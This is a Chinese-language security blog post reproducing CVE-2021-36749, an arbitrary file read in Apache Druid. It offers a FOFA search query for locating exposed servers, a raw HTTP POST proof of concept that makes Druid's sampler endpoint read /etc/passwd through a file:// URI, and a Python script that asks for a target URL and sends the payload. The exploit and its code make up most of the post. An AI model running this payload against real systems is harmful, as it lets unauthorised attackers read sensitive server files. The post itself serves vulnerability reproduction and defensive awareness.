Apache Druid LoadData 任意文件读取漏洞 CVE-2021-36749


漏洞描述

由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

漏洞影响

  • Apache Druid

FOFA

  • title=”Apache Druid”

漏洞复现

index页面

文件读取

POC:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 
Content-Length: 423
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
import requests


target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))


url = target_url+"/druid/indexer/v1/sampler?for=connect"

payload = "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"inputSource\":{\"type\":\"http\",\"uris\":[\"file:///etc/passwd\"]},\"inputFormat\":{\"type\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"raw\"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"timestampSpec\":{\"column\":\"!!!_no_such_column_!!!\",\"missingValue\":\"1970-01-01T00:00:00Z\"},\"dimensionsSpec\":{}},\"tuningConfig\":{\"type\":\"index\"}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"
headers = {
  'proxy-authorization': 'Basic Og==',
  'accept': 'application/json, text/plain, */*',
  'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
  'content-type': 'application/json;charset=UTF-8',
  'accept-encoding': 'gzip, deflate',
  'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6',
  'connection': 'close',
  'proxy-connection': 'keep-alive',
  'content-length': '423'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

不要带:/

EXP


文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !
 上一篇
Hadoop Yarn RPC未授权访问漏洞 Hadoop Yarn RPC未授权访问漏洞
Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。近日阿里云应急响应中心监测到 Hadoop Yarn RPC未授权访问漏洞在野利用事件。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。阿里云应急响应中心提醒 Apache Hadoop 用户尽快采取安全措施阻止漏洞攻击。
2021-11-20
下一篇 
SonarQube values 信息泄露漏洞 CVE-2020-27986 SonarQube values 信息泄露漏洞 CVE-2020-27986
SonarQube 某接口存在信息泄露漏洞,可以获取部分敏感信息
2021-11-10
  目录